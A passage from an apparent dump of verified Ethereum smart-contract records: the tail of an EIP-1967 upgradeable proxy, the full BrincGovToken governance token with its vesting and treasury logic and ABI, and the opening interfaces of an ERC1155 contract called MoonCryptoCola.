* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUtils.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
pragma solidity >=0.5.16 <0.7.0;
/**
* @title ManagedProxyV2
*
* @dev This contract implements a proxy that is upgradeable by an admin.
* initializing the implementation, admin, and init data.
*/
contract ManagedProxyV2 is UpgradeableProxyV1 {
/**
* @dev Initializes an upgradeable proxy managed by `admin`, backed by the implementation at `logic`, and
* optionally initialized with `data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(
address logic,
address admin,
bytes memory data
) public payable UpgradeableProxyV1(logic, data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
if (admin != address(0x0)) {
_setAdmin(admin);
}
}
function _initManagedProxy(
address logic,
address admin,
bytes memory data
) internal {
require(_admin() == address(0x0), "Admin had been set");
_initProxyImpl(logic, data);
_setAdmin(admin);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "ManagedProxy: new admin is the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
}
pragma solidity >=0.5.16 <0.7.0;
contract TokenChildProxyV2 is ManagedProxyV2 {
constructor() public payable ManagedProxyV2(address(0x0), msg.sender, "") {}
function _initProxyOfProxy(
address impl,
address admin,
bytes memory data
) public {
_initManagedProxy(impl, admin, data);
}
} | [{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"previousAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"AdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"implementation","type":"address"}],"name":"Upgraded","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"impl","type":"address"},{"internalType":"address","name":"admin","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"_initProxyOfProxy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"changeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newImplementation","type":"address"}],"name":"upgradeTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newImplementation","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"upgradeToAndCall","outputs":[],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.12+commit.27d51765 | true | 200 | Default | MIT | false | ipfs://abe88c043f89697f215c4b89c986322a6ee8a11e852d257ee23c0b2b1bf8d946 |
|||
BrincGovToken | contracts/BrincGovToken.sol | 0x73a40cc8233c374ec43e42c3bc69272977f079ca | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Snapshot.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract BrincGovToken is ERC20, ERC20Burnable, ERC20Snapshot, ERC20Pausable, Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) private _allowances;
// The treasury will be controlled by a separate address, NOT THE OWNER OF THIS CONTRACT ADDRESS.
// The owner will be relinquished to the BrincStaking contract upon deployment.
address public treasuryOwner;
mapping(address => bool) public isMinter;
// MembersOnly is the mapping of addresses to the BRINC team and/or investors. The addresses can and will only be included by use of the contract constructor and the manual addition by the OWNER of this contract address.
struct MemberInfo {
uint256 vestingStartBlock; // Block of when vesting begins.
uint256 vestingBlocks; // Vesting duration in blocks (1 block estimated to be 13 seconds).
uint256 claimedBalance; // Amount of gBRC that has be claimed.
uint256 awardBalance; // Total amount of gBRC awarded. Note, this balance is different than the balanceOf that is part of the ERC20 methods. awardBalance is the number of tokens that has been allocated based on specified team/investor allocations.
}
mapping (address => MemberInfo) public members;
uint256 public maxTotalSupply;
event BalanceUpdated(address indexed user, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address _to, uint256 amount);
event Burn(address _from, uint256 amount);
event SetMinter(address _minter, bool _isMinter);
constructor (
string memory _name,
string memory _symbol,
address[] memory _initAllocAddrs,
uint256[] memory _initAllocAmount,
uint256[] memory _initVestBlocks,
uint256 _maxTotalSupply
) public ERC20(_name, _symbol) {
require(_initAllocAddrs.length == _initAllocAmount.length);
require(_initAllocAddrs.length == _initVestBlocks.length);
// sets the initial gov token allocations to the corresponding address to their token amount.
for (uint i = 0; i < _initAllocAddrs.length; i++) {
MemberInfo storage member = members[_initAllocAddrs[i]];
require(_initVestBlocks[i] > 0);
require(_initAllocAmount[i] > 0);
member.vestingStartBlock = block.number;
member.vestingBlocks = _initVestBlocks[i];
member.claimedBalance = 0;
member.awardBalance = _initAllocAmount[i];
}
maxTotalSupply = _maxTotalSupply;
treasuryOwner = msg.sender;
isMinter[msg.sender] = true;
}
modifier onlyMembers {
require(members[msg.sender].vestingStartBlock > 0, "onlyMemebers: member does not exist");
require(members[msg.sender].awardBalance > 0, "onlyMemebers: member does not exist");
_;
}
modifier onlyTreasuryOwner {
require(msg.sender == treasuryOwner, "onlyTreasuryOwner: only treasury owner can call this operation");
_;
}
modifier onlyMinter {
require(isMinter[msg.sender], "onlyMinter: only minter can call this operation");
_;
}
/**
* @dev shows the amount of time in blocks remaining for vesting.
*
*/
/// #if_succeeds {:msg "vestingTimeRemaining: vesting time in blocks remaining is correct - case endBlock > block.number"}
/// let endBlock := members[msg.sender].vestingStartBlock + members[msg.sender].vestingBlocks in
/// endBlock > block.number ==> $result == endBlock - block.number;
/// #if_succeeds {:msg "vestingTimeRemaining: vesting time remaining is incorrect - case endBlock < block.number"}
/// let endBlock := members[msg.sender].vestingStartBlock + members[msg.sender].vestingBlocks in
/// endBlock < block.number ==> $result == 0;
function vestingTimeRemaining() public view onlyMembers returns (uint256) {
uint256 endBlock = members[msg.sender].vestingStartBlock.add(members[msg.sender].vestingBlocks);
if (endBlock > block.number) {
return endBlock.sub(block.number);
}
return 0;
}
/**
* @dev gets the claimable tokens for _address.
* this will return 0 if _address does not have any stakes
*
* formula:
* claimableAmount = (blocks passed) * (awardAmount / vestingBlocks)
*
* @return claimable amount in gov tokens
*/
/// #if_succeeds {:msg "getClaimableAmount: case block.number >= member.vestingStartBlock + member.vestingBlocks"}
/// block.number >= members[_address].vestingStartBlock + members[_address].vestingBlocks ==>
/// $result == members[_address].awardBalance.sub(members[_address].claimedBalance);
/// #if_succeeds {:msg "getClaimableAmount: 0"}
/// block.number < members[_address].vestingStartBlock + members[_address].vestingBlocks && block.number < members[_address].vestingStartBlock ==> $result == 0;
function getClaimableAmount(address _address) public view returns (uint256) {
MemberInfo memory member = members[_address];
require(member.claimedBalance < member.awardBalance, "getClaimableAmount: no claimable balance");
if (block.number >= member.vestingStartBlock.add(member.vestingBlocks)) {
return member.awardBalance.sub(member.claimedBalance);
}
if (block.number > member.vestingStartBlock) {
uint256 timePassed = block.number.sub(member.vestingStartBlock);
return member.awardBalance.mul(1e10).div(member.vestingBlocks).mul(timePassed).div(1e10).sub(member.claimedBalance);
}
return 0;
}
/**
* @dev claims the member reward.
* The number of tokens that can be claimed will be calculated based off the following formula:
* withdrawableAmount = (awardBalance) / (vestingEndBlock - block.number)
* This will produce the amount of tokens that can be claimed depending on the vesting time remaining.
*/
/// #if_succeeds {:msg "memberClaim: claimed balance mints correctly"}
/// let claimableAmount := old(this.getClaimableAmount(msg.sender)) in
/// this.balanceOf(msg.sender) == old(this.balanceOf(msg.sender)) + claimableAmount;
/// #if_succeeds {:msg "memberClaim: updates member info correctly"}
/// let claimableAmount := old(this.getClaimableAmount(msg.sender)) in
/// members[msg.sender].claimedBalance == old(members[msg.sender].claimedBalance) + claimableAmount;
function memberClaim() public onlyMembers {
uint256 claimableAmount = getClaimableAmount(msg.sender);
require(claimableAmount > 0, "memberClaim: nothing to claim");
MemberInfo storage member = members[msg.sender];
member.claimedBalance = member.claimedBalance.add(claimableAmount);
_mint(msg.sender, claimableAmount);
emit Mint(msg.sender, claimableAmount);
}
/**
* @dev transfer ownership of treasury. Only the current treasury owner can invoke this method.
*
* @param _address new owner of the treasury.
*/
/// #if_succeeds {:msg "transferTreasuryOwnership: The sender must be treasuryOwner"}
/// old(msg.sender == getTreasuryOwner());
/// #if_succeeds {:msg "transferTreasuryOwnership: treasuryOwner updated correctly"}
/// getTreasuryOwner() == _address;
function transferTreasuryOwnership(address _address) public onlyTreasuryOwner {
require(treasuryOwner != address(0), "TrasnferTreasuryOwnership: transferring ownership to 0x0");
require(treasuryOwner != _address, "TrasnferTreasuryOwnership: transferring ownership to self");
treasuryOwner = _address;
}
/**
* @dev mint to treasury owner.
* The minter will be the staking contract that will be allowed to mint tokens on behalf of the treasury owner.
* The staking contract will only allow msg.sender == treasuryOwner to call this method.
*
* @param _amount amount to mint to the treasury contract.
*
*/
/// #if_succeeds {:msg "mintToTreasury: The sender must be Minter"}
/// isMinter[msg.sender] == true;
/// #if_succeeds {:msg "mintToTreasury: balance of treasury address is correct after mint"}
/// this.balanceOf(treasuryOwner) == old(this.balanceOf(treasuryOwner) + _amount);
function mintToTreasury(uint256 _amount) public onlyMinter {
_mint(treasuryOwner, _amount);
emit Mint(treasuryOwner, _amount);
}
/**
* @dev burns the specified number of tokens. can only be called by the treasury owner.
*
* @param _to address to mint tokens to.
* @param _amount amount to burn by the treasury owner.
* @notice Creates `_amount` token to `_to`. Must only be called by the owner (BrincStaking).
*/
/// #if_succeeds {:msg "mint: The sender must be Owner"}
/// isMinter[msg.sender] == true;
/// #if_succeeds {:msg "mint: balance of receiving address is correct after mint"}
/// this.balanceOf(_to) == old(this.balanceOf(_to) + _amount);
function mint(address _to, uint256 _amount) public onlyMinter {
_mint(_to, _amount);
emit Mint(_to, _amount);
}
/**
* @dev burns the specified number of tokens. can only be called by the treasury owner.
*
* @param _amount amount to burn by the treasury owner.
*/
/// #if_succeeds {:msg "burn: The sender must be treasuryOwner"}
/// old(msg.sender == getTreasuryOwner());
/// #if_succeeds {:msg "burn: balance of treasury address is correct after burn"}
/// this.balanceOf(treasuryOwner) == old(this.balanceOf(treasuryOwner) - _amount);
function burn(uint256 _amount) public override onlyTreasuryOwner {
require(balanceOf(address(treasuryOwner))>0, "burn: Not enough funds in treasury");
_burn(treasuryOwner, _amount);
emit Burn(treasuryOwner, _amount);
}
/**
* @dev transfer the specified number of tokens to a specific address. can only be called by the treasury owner.
*
* @param _to address to send the treasury tokens to.
* @param _amount amount to burn by the treasury owner.
*/
/// #if_succeeds {:msg "treasuryTransferToken: The sender must be treasuryOwner"}
/// old(msg.sender == getTreasuryOwner());
/// #if_succeeds {:msg "treasuryTransferToken: balance of receiving address is correct after transfer"}
/// _to != getTreasuryOwner() ==>
/// this.balanceOf(_to) == old(this.balanceOf(_to)) + _amount;
/// #if_succeeds {:msg "treasuryTransferToken: balance of treasury address is correct after transfer"}
/// _to != getTreasuryOwner() ==>
/// this.balanceOf(treasuryOwner) == old(this.balanceOf(treasuryOwner)) - _amount;
function treasuryTransferToken(address _to, uint256 _amount) public onlyTreasuryOwner {
require(balanceOf(address(treasuryOwner)) > 0, "treasuryTransferToken: Not enough funds in treasury");
_transfer(treasuryOwner, _to, _amount);
emit Transfer(treasuryOwner, _to, _amount);
}
/**
* @dev add a Member. Only the treasury owner is authorized to call this method.
*
* @param _address address of member.
* @param _awardAmount award amount attributed to user. The tokens will be locked up and released over the vesting time.
* @param _vestingBlocks time given in block numbers.
*/
/// #if_succeeds {:msg "addMember: The sender must be treasuryOwner"}
/// old(msg.sender == getTreasuryOwner());
/// #if_succeeds {:msg "addMember: member should be added correctly"}
/// members[_address].vestingStartBlock != 0 &&
/// members[_address].vestingBlocks != 0 &&
/// members[_address].claimedBalance == 0 &&
/// members[_address].awardBalance != 0;
function addMember(address _address, uint256 _awardAmount, uint256 _vestingBlocks) public onlyTreasuryOwner {
MemberInfo storage member = members[_address];
require(member.awardBalance == member.claimedBalance, "addMember: member already exists");
require(_awardAmount > 0, "addMember: invalid _awardAmount provided");
require(_vestingBlocks > 0, "addMember: invalid _vestingBlocks provided");
member.vestingStartBlock = block.number;
member.vestingBlocks = _vestingBlocks;
member.claimedBalance = 0;
member.awardBalance = _awardAmount;
}
/**
* @dev remove a Member. Only the treasury owner is authorized to call this method.
*
* @param _address address of member.
*/
/// #if_succeeds {:msg "removeMember: The sender must be treasuryOwner"}
/// old(msg.sender == getTreasuryOwner());
/// #if_succeeds {:msg "removeMember: member should be removed correctly"}
/// let claimableAmount := old(getClaimableAmount(_address)) in
/// claimableAmount > 0 ==>
/// members[_address].vestingStartBlock != 0 &&
/// members[_address].vestingBlocks == 1 &&
/// members[_address].awardBalance == claimableAmount;
function removeMember(address _address) public onlyTreasuryOwner {
MemberInfo storage member = members[_address];
require(member.vestingStartBlock != 0, "removeMember: member does not exist");
require(member.awardBalance > 0, "removeMember: member does not exist");
uint256 claimableAmount = getClaimableAmount(_address);
member.vestingBlocks = 1;
member.awardBalance = claimableAmount;
}
/**
* @dev gets a member information for msg.sender.
*
*/
function getMemberInfo() public view returns(MemberInfo memory) {
return members[msg.sender];
}
/**
* @dev returns the treasury owner address.
*
*/
/// #if_succeeds {:msg "getTreasuryOwner: result should be the treasuryOwner"}
/// $result == treasuryOwner;
function getTreasuryOwner() public view returns(address) {
return treasuryOwner;
}
/**
* @dev returns the treasury owner address.
*
*/
/// #if_succeeds {:msg "getTreasuryBalance: result should give the treasury balance"}
/// $result == this.balanceOf(treasuryOwner);
function getTreasuryBalance() public view returns(uint256) {
return this.balanceOf(treasuryOwner);
}
/**
* @dev returns the treasury owner address.
* note: CirculatingSupply is the number of tokens that are currently in circulation.
* The circulating supply represents the number of tokens that have been minted minus the number of tokens that are locked up.
* Locked tokens will be associated to a the treasury contract address. All other tokens are considered unlocked and circulating.
* The number of tokens located in the treasury will be locked indefinitely by the BRINC_TEAM until a time of their choosing (or can be discovered by the community through governance).
*/
/// #if_succeeds {:msg "circulatingSupply: result should give the total supply minus treasury balance"}
/// $result == totalSupply().sub(this.balanceOf(treasuryOwner));
function circulatingSupply() public view returns (uint256) {
return totalSupply().sub(this.balanceOf(treasuryOwner));
}
// ERC20Pausable
/**
* @dev Pauses the contract's transfer, mint & burn functions
*
*/
/// #if_succeeds {:msg "The caller must be Owner"}
/// old(msg.sender == getTreasuryOwner());
function pause() public onlyTreasuryOwner {
_pause();
}
/**
* @dev Unpauses the contract's transfer, mint & burn functions
*
*/
/// #if_succeeds {:msg "The caller must be Owner"}
/// old(msg.sender == getTreasuryOwner());
function unpause() public onlyTreasuryOwner {
_unpause();
}
// ERC20Snapshot
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
*/
/// #if_succeeds {:msg "The caller must be Owner"}
/// old(msg.sender == getTreasuryOwner());
function snapshot() public onlyTreasuryOwner returns (uint256) {
return _snapshot();
}
/**
* @dev setMinter will set and allow the specified address to mint gBRC tokens.
* only the owner will be able to call this method.
* changing _isMinter to false will revoke minting privileges.
*
* @param _address address of minter
* @param _isMinter bool access
*
*/
/// #if_succeeds {:msg "setMinter: The sender must be owner"}
/// old(msg.sender == this.owner());;
function setMinter(address _minter, bool _isMinter) public onlyOwner {
require(_minter != address(0), "invalid minter address");
isMinter[_minter] = _isMinter;
emit SetMinter(_minter, _isMinter);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Snapshot, ERC20Pausable) {
if (from == address(0)) {
// when minting, from is 0x0 -- we check maxTotalSupply
require(totalSupply() <= maxTotalSupply, "too much tokens minted");
}
super._beforeTokenTransfer(from, to, amount);
}
} | [{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"address[]","name":"_initAllocAddrs","type":"address[]"},{"internalType":"uint256[]","name":"_initAllocAmount","type":"uint256[]"},{"internalType":"uint256[]","name":"_initVestBlocks","type":"uint256[]"},{"internalType":"uint256","name":"_maxTotalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"BalanceUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_from","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_minter","type":"address"},{"indexed":false,"internalType":"bool","name":"_isMinter","type":"bool"}],"name":"SetMinter","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"}],"name":"Snapshot","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_awardAmount","type":"uint256"},{"internalType":"uint256","name":"_vestingBlocks","type":"uint256"}],"name":"addMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"snapshotId","type":"uint256"}],"name":"balanceOfAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getClaimableAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMemberInfo","outputs":[{"components":[{"internalType":"uint256","name":"vestingStartBlock","type":"uint256"},{"internalType":"uint256","name":"vestingBlocks","type":"uint256"},{"internalType":"uint256","name":"claimedBalance","type":"uint256"},{"internalType":"uint256","name":"awardBalance","type":"uint256"}],"internalType":"struct BrincGovToken.MemberInfo","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTreasuryBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTreasuryOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMinter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"memberClaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"members","outputs":[{"internalType":"uint256","name":"vestingStartBlock","type":"uint256"},{"internalType":"uint256","name":"vestingBlocks","type":"uint256"},{"internalType":"uint256","name":"claimedBalance","type":"uint256"},{"internalType":"uint256","name":"awardBalance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mintToTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"removeMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_minter","type":"address"},{"internalType":"bool","name":"_isMinter","type":"bool"}],"name":"setMinter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"snapshot","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"snapshotId","type":"uint256"}],"name":"totalSupplyAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"transferTreasuryOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"treasuryOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"treasuryTransferToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"vestingTimeRemaining","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}] | v0.6.12+commit.27d51765 | false | 200 | 00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000000000000000000000160000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000d4272696e63476f76546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000046742524300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | Default | false | ||||
MoonCryptoCola | MoonCryptoCola.sol | 0x93c711fec5d1341d432f1e32adbecbd8b2c8eaf4 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
